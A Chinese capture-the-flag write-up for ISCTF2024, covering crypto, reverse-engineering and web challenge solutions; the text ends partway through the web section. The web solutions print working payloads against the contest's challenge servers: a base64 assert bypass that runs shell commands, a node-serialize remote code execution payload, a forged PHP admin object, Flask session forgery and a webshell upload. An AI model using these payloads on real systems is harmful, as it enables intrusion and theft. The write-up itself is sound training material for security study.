CTF Study Note
  • 首页
  • Web
    • 反序列化漏洞(unserialize3)
    • Dedecms V5.7漏洞总结复盘
    • Web源码泄露
  • Misc
    • 流量分析-SMTP图片隐写
    • 流量分析-Telnet特殊字符
    • 记一次misc盲注流量分析
    • 第四届网鼎杯 白虎组 Misc04 WriteUP
  • Crypto
    • 第四届网鼎杯 青龙组 Crypto02 WriteUP
  • games
    • ISCTF2024 WP
    • 2024深育杯 攻防大赛 WP
  • 出题笔记
    • ez_AndroidRe
    • base65536
Powered by GitBook
On this page
  • 目录/快速跳转
  • 一. Crypto
  • 1. 我和小蓝鲨的秘密
  • 2. ChaCha20-Poly1305
  • 3. 蓝鲨的费马
  • 4. 小蓝鲨的数学题
  • 5. 小蓝鲨的密码
  • 6. ezmath
  • 二. Reverse
  • 1. Ezre
  • 2. 《回忆安魂曲》--第三章:逃不出的黑墙
  • 3. 你知道.elf文件嘛
  • 三. Web
  • 1. 25时晓山瑞希生日会
  • 2. 小蓝鲨的冒险
  • 3. 1z_php
  • 4. ezserialize
  • 5. ezrce
  • 6. 小蓝鲨的临时存储室
  • 7. ezlogin
  • 8. 新闻系统
  • 9. ezejs
  • 四. PWN
  • 1. Netcat
  • 2. girlfriend
  • 3. ez_game
  • 五. Misc
  • 1. 小蓝鲨的签到02
  • 2. 数字迷雾:在像素中寻找线索
  • 3. 游园地1
  • 4. 游园地2
  • 5. 小蓝鲨的签到01
  • 6. 小蓝鲨的问卷
  • 7. 少女的秘密花园
  • 8. 赢!rar
  • 9. 老八奇怪自拍照
  • 10. File_Format
  • 11. watermark
  • 12. 秘密
  • 13. 奇怪的txt
  • 14. 神秘ping
  • 15. 像素圣战
  • 16. starry sky
  • 留念
  • 总结&感想

Was this helpful?

  1. games

ISCTF2024 WP

比赛时间:2024.11.9 ~ 2024.11.15 团队人数:3 Solves:37

全文约40,000字,120+图片

请注意流量与时间消耗 善用目录功能进行跳转

若图片等资源加载失败,请更换网络环境


目录/快速跳转

目录按比赛结束后的题目顺序排序

以下是我们团队做出来的题目WP

一. Crypto

  • 1. 我和小蓝鲨的秘密

  • 2. ChaCha20-Poly1305

  • 3. 蓝鲨的费马

  • 4. 小蓝鲨的数学题

  • 5. 小蓝鲨的密码

  • 6. ezmath

二. Reverse

  • 1. Ezre

  • 2. 《回忆安魂曲》--第三章:逃不出的黑墙

  • 3. 你知道.elf文件嘛

三. Web

  • 1. 25时晓山瑞希生日会

  • 2. 小蓝鲨的冒险

  • 3. 1z_php

  • 4. ezserialize

  • 5. ezrce

  • 6. 小蓝鲨的临时存储室

  • 7. ezlogin

  • 8. 新闻系统

  • 9. ezejs

四. PWN

  • 1. Netcat

  • 2. girlfriend

  • 3. ez_game

五. Misc

  • 1. 小蓝鲨的签到02

  • 2. 数字迷雾:在像素中寻找线索

  • 3. 游园地1

  • 4. 游园地2

  • 5. 小蓝鲨的签到01

  • 6. 小蓝鲨的问卷

  • 7. 少女的秘密花园

  • 8. 赢!rar

  • 9. 老八奇怪自拍照

  • 10. File_Format

  • 11. watermark

  • 12. 秘密

  • 13. 奇怪的txt

  • 14. 神秘ping

  • 15. 像素圣战

  • 16. starry sky


一. Crypto

1. 我和小蓝鲨的秘密

原题

from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np

n = 29869349657224745144762606999
e = 65537

original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")

img_array = np.array(img)
h, w, _ = img_array.shape

encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
    for j in range(w):
        r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])

        encrypted_array[i, j, 0] = pow(r, e, n)
        encrypted_array[i, j, 1] = pow(g, e, n)
        encrypted_array[i, j, 2] = pow(b, e, n)

np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")

安装运行库

pip install pillow pycryptodome numpy sympy

代码分析

这段代码使用 RSA 加密算法对图片的每个像素进行加密,并将加密后的数据保存为一个 NumPy 数组文件。

计算私钥

既然是RSA,那么就需要分解n。所幸,这个n非常的短。

n = 29869349657224745144762606999
e = 65537

那么我们可以直接将p和q给分解出来。

factors = list(sympy.factorint(n).keys())
p, q = factors[0], factors[1]

既然得到了p和q,我们可以把φ(n)求出来。

phi_n = (p - 1) * (q - 1)

然后计算得到私钥d.

d = pow(e, -1, phi_n)

解密图片

我们读取Numpy数组,逆向加密代码将各个像素点解密。

encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)
h, w, _ = encrypted_array.shape
decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)
for i in range(h):
    for j in range(w):
        r, g, b = int(encrypted_array[i, j, 0]), int(encrypted_array[i, j, 1]), int(encrypted_array[i, j, 2])

        decrypted_array[i, j, 0] = pow(r, d, n)
        decrypted_array[i, j, 1] = pow(g, d, n)
        decrypted_array[i, j, 2] = pow(b, d, n)

然后将所有的数组转为图片并保存。

decrypted_img = Image.fromarray(decrypted_array, 'RGB')
decrypted_img.save("decrypted_flag.jpg")

完整代码实现

from PIL import Image
import numpy as np
import sympy

n = 29869349657224745144762606999
e = 65537

factors = list(sympy.factorint(n).keys())
p, q = factors[0], factors[1]

phi_n = (p - 1) * (q - 1)

d = pow(e, -1, phi_n)

encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)
h, w, _ = encrypted_array.shape

decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)
for i in range(h):
    for j in range(w):
        r, g, b = int(encrypted_array[i, j, 0]), int(encrypted_array[i, j, 1]), int(encrypted_array[i, j, 2])

        decrypted_array[i, j, 0] = pow(r, d, n)
        decrypted_array[i, j, 1] = pow(g, d, n)
        decrypted_array[i, j, 2] = pow(b, d, n)

decrypted_img = Image.fromarray(decrypted_array, 'RGB')
decrypted_img.save("decrypted_flag.jpg")

2. ChaCha20-Poly1305

原题

from Crypto.Cipher import ChaCha20_Poly1305
import os

key = os.urandom(32)
nonce = os.urandom(12)

with open('flag.txt', 'rb') as f:
    plaintext = f.read()

cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

ct, tag = cipher.encrypt_and_digest(plaintext)

print(f"Encrypted Flag: {ct.hex()}")
print(f"Tag: {tag.hex()}")
print(f"Nonce: {nonce.hex()}")

with open('key.txt', 'w') as key_file:
    key_file.write(key.hex())
Encrypted Flag: 20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb
Tag: 70ffcc508bf4519e7616f602123c307b
Nonce: d8ebeedec812a6d71240cc50
3=t#sMX3?9GHSPdi4i^gk!3*(cH8S8XT2y&?Tv4!?AGG=R]ZDy/PVVa+DqiXAH*}DS&Nn*a+@<H,=!L

题目描述:你的意思是说,只要我继续打ctf,下次做crypto时,就会有一个长腿黑丝双马尾的甜妹突然坐到我的腿上,并害羞的红着脸对我说,前辈你crypto打的真厉害,所以要不要和我交往!

分析

查看文件附件提供的可以并不是真正的key,真正的key是32位HEX值。尝试对key进行解密,尝试各种解密方案,最后可以通过base92对key进行解密。

173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135

获取到key后,可以编写payload解密。

from Crypto.Cipher import ChaCha20_Poly1305
from binascii import unhexlify

# 已知的加密参数(替换为实际值)
key_hex = "173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135"
nonce_hex = "d8ebeedec812a6d71240cc50"
ciphertext_hex = "20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb"
tag_hex = "70ffcc508bf4519e7616f602123c307b"

# 转换十六进制为字节
key = unhexlify(key_hex)
nonce = unhexlify(nonce_hex)
ciphertext = unhexlify(ciphertext_hex)
tag = unhexlify(tag_hex)

# 创建解密器
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

try:
    # 解密并验证
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f"解密后的明文: {plaintext.decode()}")
except ValueError as e:
    print(f"解密失败: {str(e)}")

其实用在线工具也能解出来。


3. 蓝鲨的费马

原题

import libnum
import gmpy2
from Crypto.Util.number import *

flag=b'ISCTF{********}'
m=bytes_to_long(flag)

p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
n=p*q
e=0x10001
c=pow(m,e,n)
d=inverse(e,(p-1)*(q-1))
leak = (d+(pow(p,q,n)+pow(q,p,n)))%n

print("c=", c)
print("n=", n)
print("leak=", leak)

"""
c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
"""

编写一个Payload用于解决这道题。

from Crypto.Util.number import long_to_bytes
c = 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n = 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak = 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
m = pow(c, leak-n-1, n)
print(long_to_bytes(m))

4. 小蓝鲨的数学题

小蓝鲨会一直还记得log吗?

hint1:模数是2**512

题目附件如下:

Base和Ciphertext
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513

编写代码 使用SageMath的离散对数求解函数

m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
modulus = 2 ** 512

x = discrete_log(Mod(c, modulus), Mod(m, modulus))
print(f"找到解 x = {x}")
print(f"flag{{x={x}}}")

在SageMath环境下运行 得到X数值

得到X=10264364653024798634903783527745926867031925199037958969782276507961886722976934069545098453108500226429

提交后不正确,尝试将X转为字符串:

# Base和Ciphertext
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
x = 10264364653024798634903783527745926867031925199037958969782276507961886722976934069545098453108500226429

hex_string = hex(x)[2:]
flag = bytes.fromhex(hex_string).decode('utf-8')
print(flag)

运行,得到flag


5. 小蓝鲨的密码

小蓝鲨最近新学习了一个密码,你来解解看吧

题目附件:

首先打开密码.zip压缩包 发现需要密码 暂时跳过

打开图片:

路在脚下? 经过尝试 发现真是“脚下”

密码为文件名(不包含后缀)

解压后得到类似词典的文本

观察词典 发现有两个最可能是密码的

观察小蓝鲨的密码.txt:

第一印象以为是兔子加密 结果都没解出来

最后发现为Aes256Decrypt

尝试密码 得到flag


6. ezmath

修复这串代码,然后用你的数学知识解题

hint1:key无法在修复代码后直接运行获得,需对代码进行数学分析

hint2:若key为无理数,则key取小数点后15位,如gamma(5/2)计算结果为:1.234567000000001...,则key为234567000000001

打开附件

发现积分和极限运算代码块拥有error标记 首先要进行修复:

def sumFunc(func):
    def wapper(*args, start=1, end=INF):
        sums = 0
        for j in range(start, end):
            sums += func(*args, j / 0xf) * (1 / 0xf)
        return sums
    return wapper

def limitFunc(func):
    def wapper(*args, approach=bigINF, pos="+"):
        o = 1 / bigINF
        return func(*args, eval(f"{approach} {pos} {o}"))
    return wapper

根据hint提示,key取小数点后15位

key_str = str(gamma_value)[2:17]

根据题目中的encode函数,逆向得到decode函数

def decode(encoded, key): 
    mode = AES.MODE_ECB
    aes = AES.new(pad(key.encode()), mode)
    decoded = aes.decrypt(base64.decodebytes(encoded.encode()))
    return decoded.strip(b'\x00').decode('utf-8')

完整payload如下:

from scipy.special import gamma
from hashlib import md5
from Crypto.Cipher import AES
import base64
import random

gamma_value = gamma(5 / 2) 
key_str = str(gamma_value)[2:17]
key = int(key_str) 

def pad(data): 
    while len(data) % 16 != 0:
        data += b'\x00'
    return data

cipher_text = "n2SQK64JMsXstCtZurBiz81pMr3ZmgMjhuyL67hssm3shqJGYGfS/mWubINeE5HZ"

def decode(encoded, key): 
    mode = AES.MODE_ECB
    aes = AES.new(pad(key.encode()), mode)
    decoded = aes.decrypt(base64.decodebytes(encoded.encode()))
    return decoded.strip(b'\x00').decode('utf-8')

random.seed(key)
new_key = md5(str(random.getrandbits(256)).encode('utf-8')).hexdigest()

flag = decode(cipher_text, new_key)
print(key)
print(flag)

运行,得到flag


二. Reverse

1. Ezre

把文件拖进IDA分析可得以下内容:

程序运行时,会让你输入flag,并将你输入的文本传给一个加密算法,如果验证和已加密文本v5吻合,则提示Yeah,You get what you want!!!

我们可以观察到,验证结果在v2上,如果v2为True,则通过验证。

if ( v2 )
      v1 = "Yeah,You get what you want!!!";

我们继续查看v2

v2 = sub_140011217(v6, (unsigned int)v0, v5);

追踪该函数可得:

__int64 __fastcall sub_140011860(__int64 a1, int a2, _BYTE *a3)
{
  __int64 v4; // rbx
  _BYTE *v6; // rax
  __int64 v7; // rdi

  v4 = a2;
  sub_1400112C1(&unk_14001E00F);
  if ( (int)v4 <= 0 )
    return 1LL;
  v6 = a3;
  v7 = a1 - (_QWORD)a3;
  while ( v6[v7] == *v6 )
  {
    if ( ++v6 - a3 >= v4 )
      return 1LL;
  }
  return 0LL;
}

这是一个比较函数,用于比对字符串是否符合要求。将v6和v5进行比对。

我们继续向上分析,v6为我们输入的文本,

sub_140011073("%s", (const char *)v6);

然后会传入

sub_1400112E9(v6, (unsigned int)v0, v4);

推测这个就是加密函数,v4就是密钥:

strcpy(v4, "ISCTF");

追踪sub_1400112E9函数可得:

__int64 __fastcall sub_1400117A0(_BYTE *a1, int a2, __int64 a3)
{
  __int64 result; // rax
  int i; // r9d
  int v8; // r8d

  result = sub_1400112C1((__int64)&unk_14001E00F);
  for ( i = 0; i < a2; ++a1 )
  {
    v8 = (char)*a1;
    result = (unsigned int)(v8 - 65);
    if ( (unsigned __int8)(*a1 - 65) <= 0x19u )
    {
      v8 += *(char *)(i % 5u + a3);
      result = (unsigned int)(26 * (v8 / 26));
      LOBYTE(v8) = v8 % 26 + 65;
    }
    *a1 = v8;
    ++i;
  }
  return result;
}

将加密模块用Python复现:

def generate_payload(target_text, key):
    payload = ""
    key_length = len(key)
    
    for i, char in enumerate(target_text):
        if 'A' <= char <= 'Z':
            shift = ord(key[i % key_length]) 
            original_char = (ord(char) - 65 - shift + 65) % 26 + 65
            payload += chr(original_char)
        else:
            payload += char 
    
    return payload


target_text = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
key = "ISCTF"


payload = generate_payload(target_text, key)
print("Generated Payload:", payload)

运行即可得到flag.


2. 《回忆安魂曲》--第三章:逃不出的黑墙

将文件拖入IDA分析可得以下内容

可以从中提取出迷宫的字符串。

根据这里可以判断字符串是一个(31*30)-1的一个矩形。

大概是这种构造。

我们需要编写算法,使得从P点触发,不经过C直接到达E(如果到达C点会触发彩蛋)

import hashlib
import numpy as np
from queue import Queue
from heapq import heappush, heappop

maze_str = """
###############################P#...............#...#.......#.#####.###.#####.#.###.#####.#.....#...#.#.....#...#.#...#.#####.#.###.#.#######.#.#.###.#C..#.#.#...#.#...#...#.#.#...#.#.#.#.#.###.#.#.#.###.#.#.#.#.#.#.#.#...#...#.#.......#.#.#.###.#.###.#####.#########.###.#...#...#.....#.#.......#...#.#.#####.#####.#.#.#####.###.#...#...#...#...#...#...#.#...#.###.#.###.#.#######.#.#.#.#.#...#.#.#...#.#...#...#...#.#.###.#.#.#####.#.#.#.#######.###.#...#.....#...#.#.#...#.....#.#########.#####.#.###.#.###.#.#.....#.#...#...#...#...#.#.#.#.#.#.#.###.#.#####.###.#.#.#...#.#...#.#...#...#...#...#.#.###.###.#.#####.#.###.###.#.#...#.#.#.......#.#...#.#...#.#####.#.#######.#.#####.#.###.#...#.#.......#.#...#...#.#..E#.#.#.#.#######.###.#.#####.#.#.#...#.............#.....#.#.#.###############.#######.#.#.#.........#...#...#.....#...#.#.#######.#.#.#####.#.#######.#.......#...#.......#.........
"""

maze_str = '\n'.join([maze_str[i:i+31] for i in range(1, len(maze_str), 30)])

print(maze_str)

# Split the maze string into lines and remove empty lines
maze_lines = [line for line in maze_str.strip().split('\n') if line]

# Get dimensions
height = len(maze_lines)
width = len(maze_lines[0])

# Create numpy array
maze = np.zeros((height, width), dtype=int)

# Fill array and find special points
start = None
checkpoint = None
end = None

for i, line in enumerate(maze_lines):
    for j, char in enumerate(line):
        if char == '#':
            maze[i, j] = 1
        elif char == 'P':
            start = (i, j)
        elif char == 'C':
            checkpoint = (i, j)
        elif char == 'E':
            end = (i, j)

print("Maze array created with shape:", maze.shape)
print("Start position (P):", start)
print("Checkpoint position (C):", checkpoint)
print("End position (E):", end)


def get_direct_path(maze, start, end):
    rows, cols = maze.shape
    visited = set()
    q = Queue()
    q.put((start, []))  # (position, path)
    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
    direction_names = ['上', '下', '左', '右']

    while not q.empty():
        (i, j), path = q.get()

        if (i, j) == end:
            print("找到直接路径!")
            print("路径步骤:", ' '.join(path))
            print("总步数:", len(path))
            direction_map = {'上': 'l', '下': 'o', '左': 'v', '右': 'e'}
            path_new = [direction_map[d] for d in path]
            print("路径(使用love):", ''.join(path_new))
            print("MD5:", hashlib.md5(''.join(path_new).encode()).hexdigest())
            return path

        if (i, j) in visited:
            continue

        visited.add((i, j))

        for idx, (di, dj) in enumerate(directions):
            ni, nj = i + di, j + dj
            if (0 <= ni < rows and 0 <= nj < cols and
                maze[ni, nj] != 1 and (ni, nj) not in visited and
                    (ni, nj) != checkpoint):
                q.put(((ni, nj), path + [direction_names[idx]]))

    print("未找到不经过检查点的路径")
    return None


direct_path = get_direct_path(maze, start, end)

将最优路线的MD5提交即可。


3. 你知道.elf文件嘛

如图,正常下载打开即可(Debian系的Linux发行版无法打开,红帽系的Linux发行版可以正常打开)

打开按照要求填入标准Base64编码表即可。


三. Web

1. 25时晓山瑞希生日会

瑞希是神山高校一年级生,《25时,在Nightcord。》的MV师。马上要到生日了。生日会邀请了很多人来参加。

此题在9.15就出好了,谁料会发生如此变故,sega我恨你;w;

将Project Sekai加入UA 即可

只能从本地来 将xff改为127.0.0.1即可

填写正确时间 通过搜索即可得到生日时间:

填写时间后

更改格式 得到flag:

这题浓度有点太高了(


2. 小蓝鲨的冒险

原题

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    $num = $_POST["num"];
    echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
    if($num == 2024){
        die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("陷阱太多QAQ");
    }
    if(intval($num,0) == 2024){
        echo "到这了难道还要放弃吗?<br>";
        if (isset($_GET['which'])){
            $which = $_GET['which'];
            echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
            switch ($which){
                case 0:
                    print('QAQ');
                case 1:
                case 2:
                    require_once $which.'.php';
                    echo $flag;
                    break;
                default:
                    echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                    break;
            }
        }
    }
}

第一关

如果$a[0] != 'QNKCDZO'而且md5($a[0]) == md5('QNKCDZO')则成立。该部分运用到PHP的特性。

md5的碰撞,在PHP的数的处理中,0开头的字符串会被转换成0,所以才会有md5碰撞。 [[MD5-collision]]

所以只要传入MD5值为0e开头的字符串,且不等于题目中的字符串,则条件成立。

$a[0]取$a的第一个元素,如果传入字符串,则将会取第一个字母。所以我们需要传入一个数组。parse_str用于解析$b并将里面的东西转为变量,而@将会忽略转换的错误。如果 $b 的值是 "foo=bar&baz=qux",那么执行 parse_str($b); 后,PHP 将创建两个新的变量 $foo 和 $baz,它们的值分别是 "bar" 和 "qux"。

示例:

?b=a[0]=s878926199a

第二关

PHP中post请求参数num, 有以下要求:

  1. $num 不能等于数字 2024。

  2. $num 不能包含任何字母(无论是小写还是大写。

  3. 当使用 intval($num, 0) 转换 $num 为整数时,结果等于 2024。

尝试传入八进制数字03750,可以通过校验。

要使用八进制表达,数字前必须加上 0(零)。 PHP 8.1.0 起,八进制表达也可以在前面加上 0o 或者 0O 。 要使用十六进制表达,数字前必须加上 0x。要使用二进制表达,数字前必须加上 0b。 [[PHP Hypertext Preprocessor]]

第三关

if (isset($_GET['which'])) {
    $which = $_GET['which'];
    echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
    switch ($which) {
        case 0:
            print('QAQ');
        case 1:
        case 2:
            require_once $which . '.php';
            echo $flag;
            break;
        default:
            echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
            break;
    }
}

PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。 [[php里,为什么0 == 'abc'是成立的? - SegmentFault 思否]]

尝试传入flag字符串返回了flag.


3. 1z_php

使用POST发包

先ls / 查看目录 再使用curl读取即可 很简单


4. ezserialize

<?php
error_reporting(0);

class Flag {
    private $flag;

    public function __construct() {
        $this->flag = file_get_contents('/flag');
    }

    public function getFlag() {
        return $this->flag;
    }

    public function __toString() {
        return "You can't directly access the flag!";
    }
}

class User {
    public $username;
    public $isAdmin = false;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
        } else {
            echo "Hello, " . htmlspecialchars($this->username) . "!";
        }
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];

    $object = unserialize($data);
    if ($object instanceof User) {
        echo $object;
    } else {
        echo "Invalid object!";
    }
} else {
    highlight_file(__FILE__);
}
?>

我们需要构造一个 User 对象,并将 isAdmin 设置为 true,以便在反序列化时触发 __wakeup() 方法并执行 getFlag() 来读取 flag。

<?php
class Flag {
    private $flag;

    public function __construct() {
        $this->flag = file_get_contents('/flag');
    }

    public function getFlag() {
        return $this->flag;
    }

    public function __toString() {
        return "You can't directly access the flag!";
    }
}

class User {
    public $username;
    public $isAdmin = false;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
        } else {
            echo "Hello, " . htmlspecialchars($this->username) . "!";
        }
    }
}

$payload = new User("attacker");
$payload->isAdmin = true;

$data = serialize($payload);

echo urlencode($data);
?>

运行后拿到URL编码的序列化字符串,这个字符串就是我们要传递的 data 参数。

O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

然后就可以拿到flag了。


5. ezrce

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
        die("Blocked by security filter!");
    } else {
        eval($cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

进入网页后显示了以上代码。它过滤了一些关键字(为什么还有空格!!),我们需要在上面运行Shell,拿到flag。

但是它有点小粗心,没有禁止assert,那我要发挥咯~~

我们可以assert套一层base64拿到flag.

先将以下命令转为base64

shell_exec("cat /flag")

然后再包含进代码中,GET请求发过去。

assert(base64_decode("c2hlbGxfZXhlYygiY2F0IC9mbGFnIik="))

6. 小蓝鲨的临时存储室

原题打开是一个上传界面。

尝试上传一句话木马,可以上传。

尝试使用蚁剑链接,发现可以连接。

在根目录找到flag,但是权限不够打不开。

当我寻找其他方案时,它竟然把我的脚本删了!!!!!!

到底是哪个玩意干的??到底是谁??是谁呢??

一定是它了,在根目录有个down_file.sh是可以编辑的。就是它把我的PHP删了!!!

既然你不仁,休怪我不义!!

chmod 0777 /flag

7. ezlogin

打开题目环境后会提示

根据题目源码,我们可以找到路径。

app.get('/login',function(req,res){
  res.render("login");
});

打开后是一个登录界面。

根据代码中的账密可以登录。

users={"guest":"123456"}

让我们看一下代码。

app.post("/login", function (req, res) {
  username = req.body.username;
  password = req.body.password;
  if (!username || !password) {
    return res.status(400).send("用户名和密码都是必填项");
  }
  if (!users[username]) {
    return res.status(409).send("用户名不存在");
  } else {
    if (users[username] === password) {
      token = Buffer.from(
        serialize.serialize({ username: username, isAdmin: false })
      ).toString("base64");
      res.cookie("token", token, {
        maxAge: 900000,
        httpOnly: true,
      });
      return res.status(200).redirect("/index");
    } else {
      return res.status(200).send("密码错误");
    }
  }
});

此处已代码格式化,题目提供的源码没有代码格式化。

当验证通过后,网页会向我们发送一个由base64包裹的Cookie,我们可以在浏览器获得这个Cookie.

此处使用的是EditThisCookie浏览器插件,实际上在开发者模式中也可以查改Cookie.

将token解密后可以获得Cookie的内容,我们就要从这里下手。

那继续分析一下代码。

当访问/index会调用auth函数验证身份。

app.get("/index", auth, function (req, res) {
  res.render("index");
});
function auth(req, res, next) {
  if (req.cookies.token) {
    const user = serialize.unserialize(
      Buffer.from(req.cookies.token, "base64").toString()
    );
    if (!user.username) {
      return res.status(401).redirect("/login");
    }
  } else {
    return res.status(401).redirect("/login");
  }
  next();
}

在这里会将传入的Cookie反序列化,这里就是下手点。

我们返回package.json, 查看依赖版本。

"node-serialize": "^0.0.4"
code = "_$$ND_FUNC$$_" + payload

代码可以触发RCE漏洞。

我们可以据此编写一个Payload.

{"username":"guest","isAdmin":false,"payload":"_$$ND_FUNC$$_function(){require('child_process').execSync('cp /flag /app/views/index.ejs')}()"}

将其转为base64,然后替换掉token即可获取flag.


8. 新闻系统

分析代码,

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'test' and password == 'test111':
            session['username'] = username
            session['password'] = password
            session['status'] = 'user'
            return redirect('/news')
        else:
            session['login_error'] = True
    return render_template("login.html")
@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")
    news = newslist.news_list
    return render_template("admin.html", news=news)

当用户名是test密码是test111则可以登录,但是当用户名是admin密码为admin222时才能登录管理员面板,这就摆明了要求我们绕过验证。

app.config["SECRET_KEY"] = "W3l1com_isCTF"

这里提供了SECRET_KEY,我们可以根据这个加解密session.

python -m flask_session_cookie_manager3 encode -s "W3l1com_isCTF" -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}"
.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzXjYw.JGCK95W6Ukxa7bFuD7ji1Uq68PA

将Cookies中session换成生成的session即可进入管理员平台。

然后继续分析代码。

news_data = base64.b64decode(serialized_news)

在这里会将base64字符串解码。

black_list = ['create_news', 'export_news', 'add_news', 'get_news']

在这里有一个黑名单,出现这里面提到的单词会被ban掉。其实这是一个线索,我们可以想象一下如何使用这里面的东西而不被发现~~(base64:不管我事哈~)~~

newslist = NewsList()

代码在这里将对象实例化,可以直接调用。

newslist.create_news(6, open("/flag").read())

编写这样一段Payload,然后转为base64.

bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp

因此,在实际的项目中,永远!!永远!!都不要把不信任的数据交给这个函数解封。

详见Python官方文档。

